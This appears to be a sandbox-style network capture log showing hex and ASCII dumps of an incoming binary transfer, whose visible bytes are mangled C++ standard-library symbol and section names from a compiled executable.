2022-07-20 08:32:59 UTC	2927	IN	Data Raw: 31 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 44 32 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 31 34 5f 4d 5f 65 78 74 72 61 63 74 5f 6e 75 6d 45 53 34 5f 53 34 5f 52 69 69 69 6a 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 Data Ascii: 18time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEED2Ev.eh_frame$_ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_numES4_S4_RiiijRSt8ios_baseRSt12_Ios_Iostate.eh_frame$_ZNKSt7__cxx118time_getIcSt19istreambuf_itera
2022-07-20 08:32:59 UTC	2943	IN	Data Raw: 53 74 36 6c 6f 63 61 6c 65 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 4b 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 34 6d 6f 6e 65 79 5f 67 65 74 5f 73 68 69 6d 49 77 45 36 64 6f 5f 67 65 74 45 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 53 36 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 35 5f 53 61 49 77 45 45 45 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 34 6d 6f 6e 65 79 5f 67 65 74 Data Ascii: St6locale.text.unlikely._ZNKSt13__facet_shims12_GLOBAL__N_114money_get_shimIwE6do_getESt19istreambuf_iteratorIwSt11char_traitsIwEES6_bRSt8ios_baseRSt12_Ios_IostateRNSt7__cxx1112basic_stringIwS5_SaIwEEE.text$_ZNKSt13__facet_shims12_GLOBAL__N_114money_get
2022-07-20 08:32:59 UTC	2944	IN	Data Raw: 61 69 74 73 49 77 45 53 61 49 77 45 45 45 00 2e 74 65 78 74 2e 75 6e 6c 69 6b 65 6c 79 2e 5f 5a 4e 4b 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 34 6d 6f 6e 65 79 5f 70 75 74 5f 73 68 69 6d 49 63 45 36 64 6f 5f 70 75 74 45 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 62 52 53 74 38 69 6f 73 5f 62 61 73 65 63 52 4b 4e 53 74 37 5f 5f 63 78 78 31 31 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 63 53 35 5f 53 61 49 63 45 45 45 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 31 33 5f 5f 66 61 63 65 74 5f 73 68 69 6d 73 31 32 5f 47 4c 4f 42 41 4c 5f 5f 4e 5f 31 31 34 6d 6f 6e 65 79 5f 70 75 74 5f 73 68 69 6d 49 63 45 36 64 6f 5f 70 Data Ascii: aitsIwESaIwEEE.text.unlikely._ZNKSt13__facet_shims12_GLOBAL__N_114money_put_shimIcE6do_putESt19ostreambuf_iteratorIcSt11char_traitsIcEEbRSt8ios_basecRKNSt7__cxx1112basic_stringIcS5_SaIcEEE.text$_ZNKSt13__facet_shims12_GLOBAL__N_114money_put_shimIcE6do_p
2022-07-20 08:32:59 UTC	2960	IN	Data Raw: 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 33 70 75 74 45 53 34 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 77 65 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 33 70 75 74 45 53 34 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 77 52 4b 4e 53 5f 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 33 5f 53 61 49 77 45 45 45 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 Data Ascii: oney_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_bRSt8ios_basewe.text$_ZNKSt7__cxx119money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_bRSt8ios_basewRKNS_12basic_stringIwS3_SaIwEEE__ZNKSt7__cxx119money_putIwSt19ostreambuf_ite
2022-07-20 08:32:59 UTC	2961	IN	Data Raw: 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 39 5f 4d 5f 69 6e 73 65 72 74 49 4c 62 30 45 45 45 53 34 5f 53 34 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 77 52 4b 4e 53 5f 31 32 62 61 73 69 63 5f 73 74 72 69 6e 67 49 77 53 33 5f 53 61 49 77 45 45 45 00 2e 64 61 74 61 24 5f 5a 4e 53 74 37 5f 5f 63 78 78 31 31 31 30 6d 6f 6e 65 79 70 75 6e 63 74 49 77 4c 62 30 45 45 32 69 64 45 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 70 75 74 49 77 53 74 31 39 6f 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 36 64 6f 5f 70 75 74 45 53 34 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 77 65 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 70 75 74 49 Data Ascii: ar_traitsIwEEE9_M_insertILb0EEES4_S4_RSt8ios_basewRKNS_12basic_stringIwS3_SaIwEEE.data$_ZNSt7__cxx1110moneypunctIwLb0EE2idE.text$_ZNKSt7__cxx119money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_bRSt8ios_basewe__ZNKSt7__cxx119money_putI
2022-07-20 08:32:59 UTC	2977	IN	Data Raw: 00 5f 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 36 64 6f 5f 67 65 74 45 53 34 5f 53 34 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 65 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 39 6d 6f 6e 65 79 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 36 64 6f 5f 67 65 74 45 53 34 5f 53 34 5f 62 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 4e 53 5f 31 32 62 61 73 69 63 5f 73 74 Data Ascii: __ZNKSt7__cxx119money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRe.text$_ZNKSt7__cxx119money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRNS_12basic_st
2022-07-20 08:32:59 UTC	2978	IN	Data Raw: 5f 65 78 74 72 61 63 74 5f 69 6e 74 42 35 63 78 78 31 31 49 6a 45 45 53 33 5f 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 54 5f 00 5f 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 31 34 5f 4d 5f 65 78 74 72 61 63 74 5f 69 6e 74 42 35 63 78 78 31 31 49 6a 45 45 53 33 5f 53 33 5f 53 33 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 52 54 5f 00 2e 74 65 78 74 24 5f 5a 4e 4b 53 74 37 6e 75 6d 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 Data Ascii: _extract_intB5cxx11IjEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT___ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intB5cxx11IjEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_.text$_ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_tra
2022-07-20 08:32:59 UTC	2994	IN	Data Raw: 5f 66 72 61 6d 65 24 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 75 73 65 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 38 6d 65 73 73 61 67 65 73 49 77 45 45 45 52 4b 54 5f 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 68 61 73 5f 66 61 63 65 74 49 4e 53 74 37 5f 5f 63 78 78 31 31 37 63 6f 6c 6c 61 74 65 49 77 45 45 45 62 52 4b 53 74 36 6c 6f 63 61 6c 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 53 74 39 68 61 73 5f 66 Data Ascii: _frame$_ZSt9use_facetINSt7__cxx118time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEEERKT_RKSt6locale.eh_frame$_ZSt9use_facetINSt7__cxx118messagesIwEEERKT_RKSt6locale.eh_frame$_ZSt9has_facetINSt7__cxx117collateIwEEEbRKSt6locale.eh_frame$_ZSt9has_f
2022-07-20 08:32:59 UTC	2995	IN	Data Raw: 6f 73 5f 49 6f 73 74 61 74 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 32 31 5f 4d 5f 65 78 74 72 61 63 74 5f 76 69 61 5f 66 6f 72 6d 61 74 45 53 34 5f 53 34 5f 52 53 74 38 69 6f 73 5f 62 61 73 65 52 53 74 31 32 5f 49 6f 73 5f 49 6f 73 74 61 74 65 50 32 74 6d 50 4b 77 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 37 5f 5f 63 78 78 31 31 38 74 69 6d 65 5f 67 65 74 49 77 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 45 31 31 64 6f 5f 67 65 74 5f 74 69 6d 65 45 53 34 5f Data Ascii: os_Iostate.eh_frame$_ZNKSt7__cxx118time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE21_M_extract_via_formatES4_S4_RSt8ios_baseRSt12_Ios_IostateP2tmPKw.eh_frame$_ZNKSt7__cxx118time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE11do_get_timeES4_
2022-07-20 08:32:59 UTC	3011	IN	Data Raw: 34 73 79 6e 63 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 34 73 79 6e 63 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 32 37 5f 4d 5f 61 6c 6c 6f 63 61 74 65 5f 69 6e 74 65 72 6e 61 6c 5f 62 75 66 66 65 72 45 76 2e 70 61 72 74 2e 34 31 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 32 37 5f 4d 5f 61 6c 6c 6f 63 61 74 65 5f 69 6e 74 65 72 6e 61 6c 5f 62 75 66 66 65 72 45 76 2e 70 61 72 74 2e 34 31 2e 63 6f 6c 64 2e 36 38 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 Data Ascii: 4syncEv__ZNSt13basic_filebufIwSt11char_traitsIwEE4syncEv__ZNSt13basic_filebufIwSt11char_traitsIwEE27_M_allocate_internal_bufferEv.part.41__ZNSt13basic_filebufIwSt11char_traitsIwEE27_M_allocate_internal_bufferEv.part.41.cold.68.text$_ZNSt13basic_filebu
2022-07-20 08:32:59 UTC	3012	IN	Data Raw: 67 65 74 6e 45 50 63 69 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 36 78 73 67 65 74 6e 45 50 77 69 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 36 78 73 67 65 74 6e 45 50 77 69 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 31 35 5f 4d 5f 63 72 65 61 74 65 5f 70 62 61 63 6b 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 31 35 5f 4d 5f 63 72 65 61 74 65 5f 70 62 61 63 6b 45 76 00 2e 74 65 78 Data Ascii: getnEPci.text$_ZNSt13basic_filebufIwSt11char_traitsIwEE6xsgetnEPwi__ZNSt13basic_filebufIwSt11char_traitsIwEE6xsgetnEPwi.text$_ZNSt13basic_filebufIcSt11char_traitsIcEE15_M_create_pbackEv__ZNSt13basic_filebufIcSt11char_traitsIcEE15_M_create_pbackEv.tex
2022-07-20 08:32:59 UTC	3028	IN	Data Raw: 44 32 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 32 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 30 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 30 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 30 45 76 00 5f 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 30 45 76 00 2e 74 65 Data Ascii: D2Ev__ZNSt13basic_fstreamIcSt11char_traitsIcEED2Ev.text$_ZNSt13basic_fstreamIcSt11char_traitsIcEED0Ev__ZNSt13basic_fstreamIcSt11char_traitsIcEED0Ev.text$_ZNSt14basic_ofstreamIcSt11char_traitsIcEED0Ev__ZNSt14basic_ofstreamIcSt11char_traitsIcEED0Ev.te
2022-07-20 08:32:59 UTC	3029	IN	Data Raw: 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 63 6c 6f 73 65 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 44 32 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 44 32 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 44 31 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 44 31 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 Data Ascii: St13basic_filebufIwSt11char_traitsIwEE5closeEv.text$_ZNSt13basic_filebufIwSt11char_traitsIwEED2Ev__ZNSt13basic_filebufIwSt11char_traitsIwEED2Ev.text$_ZNSt13basic_filebufIwSt11char_traitsIwEED1Ev__ZNSt13basic_filebufIwSt11char_traitsIwEED1Ev.text$_ZNS
2022-07-20 08:32:59 UTC	3045	IN	Data Raw: 70 65 6e 6d 6f 64 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 69 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 43 32 45 50 4b 63 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 43 31 45 50 4b 63 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 69 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 43 31 45 50 4b 63 53 74 31 33 5f 49 6f 73 5f 4f 70 65 6e 6d 6f 64 65 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 Data Ascii: penmode.eh_frame$_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC2EPKcSt13_Ios_Openmode.eh_frame$_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode.eh_frame$_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode.eh_frame$_ZNSt14ba
2022-07-20 08:32:59 UTC	3046	IN	Data Raw: 69 74 73 49 63 45 45 44 31 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 69 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 31 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 34 62 61 73 69 63 5f 6f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 31 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 66 69 6c 65 62 75 66 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 30 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 54 76 30 5f 6e 31 32 5f 4e 53 74 31 33 62 61 73 69 63 5f 66 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 44 31 45 76 00 2e 65 68 5f 66 72 61 6d 65 Data Ascii: itsIcEED1Ev.eh_frame$_ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev.eh_frame$_ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev.eh_frame$_ZNSt13basic_filebufIcSt11char_traitsIcEED0Ev.eh_frame$_ZTv0_n12_NSt13basic_fstreamIcSt11char_traitsIcEED1Ev.eh_frame
2022-07-20 08:32:59 UTC	3062	IN	Data Raw: 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 33 74 69 65 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 33 74 69 65 45 50 53 6f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 35 72 64 62 75 66 45 76 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 35 72 64 62 75 66 45 50 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 31 5f 45 00 2e 65 68 5f 66 72 61 6d 65 24 5f Data Ascii: eh_frame$_ZNKSt9basic_iosIcSt11char_traitsIcEE3tieEv.eh_frame$_ZNSt9basic_iosIcSt11char_traitsIcEE3tieEPSo.eh_frame$_ZNKSt9basic_iosIcSt11char_traitsIcEE5rdbufEv.eh_frame$_ZNSt9basic_iosIcSt11char_traitsIcEE5rdbufEPSt15basic_streambufIcS1_E.eh_frame$_
2022-07-20 08:32:59 UTC	3063	IN	Data Raw: 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 43 31 45 50 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 63 53 31 5f 45 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 34 6d 6f 76 65 45 52 53 32 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 34 73 77 61 70 45 52 53 32 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 53 74 39 62 61 73 69 63 5f 69 6f 73 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 34 6d 6f 76 65 45 4f 53 32 5f 00 2e 65 68 5f 66 72 61 6d 65 24 5f 5a 4e 4b 53 74 39 62 61 73 69 63 Data Ascii: t9basic_iosIcSt11char_traitsIcEEC1EPSt15basic_streambufIcS1_E.eh_frame$_ZNSt9basic_iosIcSt11char_traitsIcEE4moveERS2_.eh_frame$_ZNSt9basic_iosIcSt11char_traitsIcEE4swapERS2_.eh_frame$_ZNSt9basic_iosIcSt11char_traitsIcEE4moveEOS2_.eh_frame$_ZNKSt9basic
2022-07-20 08:32:59 UTC	3079	IN	Data Raw: 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 33 67 65 74 45 50 77 69 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 33 67 65 74 45 52 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 31 5f 45 77 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 33 67 65 74 45 52 53 74 31 35 62 61 73 69 63 5f 73 74 72 65 61 6d 62 75 66 49 77 53 31 5f 45 77 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 33 67 65 74 45 52 53 74 Data Ascii: 13basic_istreamIwSt11char_traitsIwEE3getEPwi.text$_ZNSt13basic_istreamIwSt11char_traitsIwEE3getERSt15basic_streambufIwS1_Ew__ZNSt13basic_istreamIwSt11char_traitsIwEE3getERSt15basic_streambufIwS1_Ew.text$_ZNSt13basic_istreamIwSt11char_traitsIwEE3getERSt
2022-07-20 08:32:59 UTC	3080	IN	Data Raw: 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 34 73 79 6e 63 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 34 73 79 6e 63 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 74 65 6c 6c 67 45 76 00 5f 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 74 65 6c 6c 67 45 76 00 2e 74 65 78 74 24 5f 5a 4e 53 74 31 33 62 61 73 69 63 5f 69 73 74 72 65 61 6d 49 77 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 77 45 45 35 73 65 65 6b 67 45 53 74 Data Ascii: basic_istreamIwSt11char_traitsIwEE4syncEv__ZNSt13basic_istreamIwSt11char_traitsIwEE4syncEv.text$_ZNSt13basic_istreamIwSt11char_traitsIwEE5tellgEv__ZNSt13basic_istreamIwSt11char_traitsIwEE5tellgEv.text$_ZNSt13basic_istreamIwSt11char_traitsIwEE5seekgESt
